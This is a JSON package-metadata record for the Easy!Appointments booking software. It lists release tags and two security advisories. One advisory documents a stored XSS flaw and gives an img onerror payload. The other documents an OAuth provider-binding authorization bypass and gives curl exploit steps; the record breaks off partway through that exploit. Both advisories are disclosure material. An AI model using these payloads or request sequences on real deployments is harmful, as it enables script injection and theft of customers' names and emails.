ointments/tar.gz/1.3.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.2/manifests"},{"name":"1.3.2-beta.1","sha":"6bbdee1fa4625329d74b9914a0ddce5f31663a8a","kind":"tag","published_at":"2018-06-24T17:47:52.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.2-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.2-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.2-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.2-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.2-beta.1/manifests"},{"name":"1.3.1","sha":"9ef42e7343b6bab9e2bd8c4a22e1134ece3ba024","kind":"tag","published_at":"2018-06-03T14:27:25.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.1/manifests"},{"name":"1.3.1-beta.1","sha":"ae77d7245861d030dbbbb5d208e5c114ddac742d","kind":"tag","published_at":"2018-04-25T11:57:51.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.1-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.1-beta.1/manifests"},{"name":"1.3.0","sha":"6fd28cd5e67fb396b991b8bddb363738497445d9","kind":"tag","published_at":"2018-02-28T19:32:25.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0/manifests"},{"name":"1.3.0-beta.2","sha":"d60193c9264412d6d73ec6f391a39bdc66a7453a","kind":"tag","published_at":"2018-02-07T08:00:33.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.0-beta.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0-beta.2/manifests"},{"name":"1.3.0-beta.1","sha":"ab0eec56eca50a0a98cebcefec7d79e4056ab3d6","kind":"tag","published_at":"2018-01-15T08:17:18.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.0-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0-beta.1/manifests"},{"name":"1.3.0-alpha.1","sha":"f56053d0612d2fd4f8f98ed740864dee3838bc85","kind":"tag","published_at":"2018-01-02T12:55:47.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.3.0-alpha.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.3.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.3.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.3.0-alpha.1/manifests"},{"name":"1.2.1","sha":"757556f849337e54f57a97dc24f4c13a1c11429e","kind":"tag","published_at":"2017-05-21T09:39:20.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.2.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.1/manifests"},{"name":"1.2.0","sha":"2010418d73e5f899aed673fb4f848d9bdb8afab4","kind":"tag","published_at":"2016-11-09T19:56:31.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.2.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.0/manifests"},{"name":"1.2.0-beta.1","sha":"6c85c1088bfed4b7904b327a3d39f63047f78634","kind":"tag","published_at":"2016-10-16T19:46:10.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.2.0-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.2.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.2.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.0-beta.1/manifests"},{"name":"1.2.0-alpha.1","sha":"348182c44761b879d21eecc84cf204f87eba2ec7","kind":"commit","published_at":"2016-09-07T21:35:23.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.2.0-alpha.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.2.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.2.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.2.0-alpha.1/manifests"},{"name":"1.1.1","sha":"58c996a8398f412b821a66abd26a66f20f3d9caf","kind":"tag","published_at":"2016-02-14T13:25:18.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.1.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.1/manifests"},{"name":"1.1.0","sha":"02505e80f6b3a55752198a2d29138d48cedcd60b","kind":"tag","published_at":"2016-01-24T17:05:29.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.1.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.0/manifests"},{"name":"1.1.0-beta.2","sha":"18be8b65f70dea975abacabb812d0a2a6712ba10","kind":"tag","published_at":"2016-01-17T13:09:37.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.1.0-beta.2","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.1.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.1.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.0-beta.2/manifests"},{"name":"1.1.0-beta.1","sha":"86644cfa9c0aaf47b9ef341142aa2410ceebfa6b","kind":"commit","published_at":"2016-01-02T13:47:04.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.1.0-beta.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.1.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.1.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.1.0-beta.1/manifests"},{"name":"1.0","sha":"8ade690fe8d3620b85bb8a740e7dfe69c1ba8cca","kind":"commit","published_at":"2014-01-18T23:07:54.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/1.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/1.0/manifests"},{"name":"0.7.1","sha":"343d104acfeb0ffded691cbceb97119be9bd0065","kind":"commit","published_at":"2014-01-04T19:15:28.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.7.1","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.7.1/manifests"},{"name":"0.7.0","sha":"6bf0ceed2a14b04921a17e58375645e598b13d12","kind":"commit","published_at":"2013-11-25T08:48:54.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.7.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.7.0/manifests"},{"name":"0.6.0","sha":"66f74dc04bf7f2831a96beb61187a19c30ec5040","kind":"commit","published_at":"2013-10-21T12:42:57.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.6.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.6.0/manifests"},{"name":"0.5.0","sha":"e11ffa0d0f7222a748e5c69ae8eb5cd7f7b3589f","kind":"commit","published_at":"2013-09-13T13:40:24.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.5.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.5.0/manifests"},{"name":"0.4.0","sha":"31b2042842cad6e94f1dc96df2dfc730df0aede7","kind":"commit","published_at":"2013-07-15T07:33:51.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.4.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.4.0/manifests"},{"name":"0.3.0","sha":"b4b2ee19d176d5417653753ec3146c39495bfcad","kind":"commit","published_at":"2013-06-26T13:23:41.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.3.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.3.0/manifests"},{"name":"0.2.0","sha":"baaa162907f1c91f2504ea66d2eb5e6bcaa9be09","kind":"commit","published_at":"2013-06-08T13:10:09.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.2.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.2.0/manifests"},{"name":"0.1.0","sha":"c68ffa22689ffbe753c98c216d3cf68a2c22b023","kind":"commit","published_at":"2013-05-16T16:04:47.000Z","download_url":"https://codeload.github.com/alextselegidis/easyappointments/tar.gz/0.1.0","html_url":"https://github.com/alextselegidis/easyappointments/releases/tag/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/alextselegidis/easyappointments@0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/alextselegidis%2Feasyappointments/tags/0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-12T23:49:20.658Z","dependent_packages_count":0,"downloads":396,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":35.85390021025609,"dependent_repos_count":33.45203757714433,"dependent_packages_count":19.101983596255177,"stargazers_count":0.15305999146086363,"forks_count":0.057464628373025996,"average":17.723689200697898},"purl":"pkg:composer/alextselegidis/easyappointments","advisories":[{"uuid":"GSA_kwCzR0hTQS05OTZmLTMzNGotNjdnN84ABgsI","url":"https://github.com/advisories/GHSA-996f-334j-67g7","title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"## Summary\n \nEasy!Appointments allows administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization:\n \n```php\n\u003cp\u003e\u003c?= vars('message_text') ?\u003e\u003c/p\u003e\n```\n \nAn authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Rich text editor value stored without sanitization\nThe booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:\n \n```javascript\n// assets/js/pages/booking_settings.js line 61-92\nbookingSettings.push({\n    name: 'disable_booking_message',\n    value: $disableBookingMessage.trumbowyg('html'),\n});\n```\n \n### Step 2 — Settings controller saves value verbatim\nThe backend settings controller persists the submitted value without any HTML sanitization:\n \n```php\n// application/controllers/Booking_settings.php line 76-104\n$this-\u003esettings_model-\u003esave($setting);\n```\n \n### Step 3 — Public booking controller forwards stored value to view\nWhen booking is disabled, the public booking controller loads the stored message and passes it directly to the view:\n \n```php\n// application/controllers/Booking.php line 113-132\n$disable_booking_message = setting('disable_booking_message');\n \nhtml_vars([\n    'message_text' =\u003e $disable_booking_message,\n]);\n```\n \n### Step 4 — Public view renders value without escaping\nThe booking message view emits the value raw using PHP's short echo tag with no escaping:\n \n```php\n// application/views/pages/booking_message.php line 10-12\n\u003cp\u003e\u003c?= vars('message_text') ?\u003e\u003c/p\u003e\n```\n \nNo `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path.\n \n---\n \n## Proof of Concept\n \n**Step 1 — Store malicious disabled-booking message as admin:**\n \n```http\nPOST /index.php/booking_settings/save HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cadmin-session-cookie\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026booking_settings[0][name]=disable_booking\u0026booking_settings[0][value]=1\u0026booking_settings[1][name]=disable_booking_message\u0026booking_settings[1][value]=\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\n```\n \nResponse: `200 OK` — settings saved successfully\n \n**Step 2 — Unauthenticated visitor opens public booking page:**\n \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:18094\n(no authentication)\n```\n \n**Observed response fragment:**\n```html\n\u003cp\u003e\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\u003c/p\u003e\n```\n \n**Observed browser behavior:**\n \n`alert(\"easyappointments xss by ashrexon\")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.\n \n**Runtime verification result:**\n```\nadmin login ok\nsettings save ok\npayload reflected on public page\nPASS\n```\n \n---\n \n## Real World Impact\n \nEasy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:\n \n- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain\n- Phish visitor credentials or personal information during booking downtime\n- Deface the public booking page during maintenance or outage windows\n- Redirect visitors to attacker-controlled sites\n---\n \n## Suggested Fix\n \nEscape the message value before rendering in the view:\n \n```php\n// application/views/pages/booking_message.php\n\u003cp\u003e\u003c?= e(vars('message_text')) ?\u003e\u003c/p\u003e\n```\n \nAlternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-07-29T16:30:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.6,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","references":["https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7","https://nvd.nist.gov/vuln/detail/CVE-2026-52838","https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae","https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","https://github.com/advisories/GHSA-996f-334j-67g7"],"source_kind":"github","identifiers":["GHSA-996f-334j-67g7","CVE-2026-52838"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-29T17:00:08.925Z","updated_at":"2026-10-12T08:02:15.748Z","epss_percentage":0.00243,"epss_percentile":0.13706,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTZmLTMzNGotNjdnN84ABgsI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OTZmLTMzNGotNjdnN84ABgsI","packages":[{"ecosystem":"packagist","package_name":"alextselegidis/easyappointments","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.5.2"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTZmLTMzNGotNjdnN84ABgsI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aG00LXI2NmYtMjl3cs4ABgsH","url":"https://github.com/advisories/GHSA-8hm4-r66f-29wr","title":"Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync","description":"### Summary\n\n`Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.\n\n### Preconditions\n\n- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.\n- The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all.\n- Default deployment per the project's own `docker-compose.yml`; no non-default flags required.\n\n### Details\n\n```php\n// application/controllers/Google.php:278-289\npublic function oauth(string $provider_id): void\n{\n    if (!$this-\u003esession-\u003euserdata('user_id')) {\n        show_error('Forbidden', 403);\n    }\n\n    // Store the provider id for use on the callback function.\n    session(['oauth_provider_id' =\u003e $provider_id]);                       // (*) attacker-chosen id stored unchecked\n\n    // Redirect browser to google user content page.\n    header('Location: ' . $this-\u003egoogle_sync-\u003eget_auth_url());\n}\n```\n\n```php\n// application/controllers/Google.php:305-337\npublic function oauth_callback(): void\n{\n    if (!session('user_id')) {\n        abort(403, 'Forbidden');\n    }\n\n    $code = request('code');\n    if (empty($code)) { response('Code authorization failed.'); return; }\n\n    $token = $this-\u003egoogle_sync-\u003eauthenticate($code);\n    if (empty($token)) { response('Token authorization failed.'); return; }\n\n    $oauth_provider_id = session('oauth_provider_id');\n    if ($oauth_provider_id) {\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, 'google_sync', true);                  // (*)\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)\n        $this-\u003eproviders_model-\u003eset_setting($oauth_provider_id, 'google_calendar', 'primary');\n    } else {\n        response('Sync provider id not specified.');\n    }\n}\n```\n\nThe same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves:\n\n```php\n// application/controllers/Google.php:389\nif (cannot('edit', PRIV_USERS) \u0026\u0026 (int) $user_id !== (int) $provider_id) {\n    throw new RuntimeException('You do not have the required permissions for this task.');\n}\n```\n\n`oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer's `user_settings` row is overwritten with the attacker's OAuth token and `google_sync` is forcibly enabled.\n\nThe attack chain that delivers the data:\n\n- `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider['settings']['google_sync']` is truthy the handler reads `google_token` from the row - now the attacker's - refreshes it, and calls `Google_sync::add_appointment`.\n- `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email.\n- The cron-triggered `Console::sync` -\u003e `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker's calendar.\n- The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (`application/controllers/Google.php:209-254`).\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (see `application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.\n\n4. Log in as `administrator` and persist the cookie jar (the project's session cookie is `ea_session`):\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" \u003e /dev/null\n   ```\n\n5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode 'provider[first_name]=Mal' \\\n     --data-urlencode 'provider[last_name]=Lory' \\\n     --data-urlencode 'provider[email]=mallory@x.test' \\\n     --data-urlencode 'provider[phone_number]=+10000000000' \\\n     --data-urlencode 'provider[timezone]=UTC' \\\n     --data-urlencode 'provider[language]=english' \\\n     --data-urlencode 'provider[settings][username]=mallory' \\\n     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \\\n     --data-urlencode 'provider[settings][notifications]=0'\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'\")\n   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'\")\n   ```\n\n6. Log in as the attacker provider into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" \u003e /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider's id `$VICTIM_ID`:\n\n   ```bash\n   curl -si -b $ATTACKER_JAR \"http://localhost/index.php/google/oauth/$VICTIM_ID\" | head -5\n   ```\n\n   Expected: `HTTP/1.1 302 Found` with `Location: 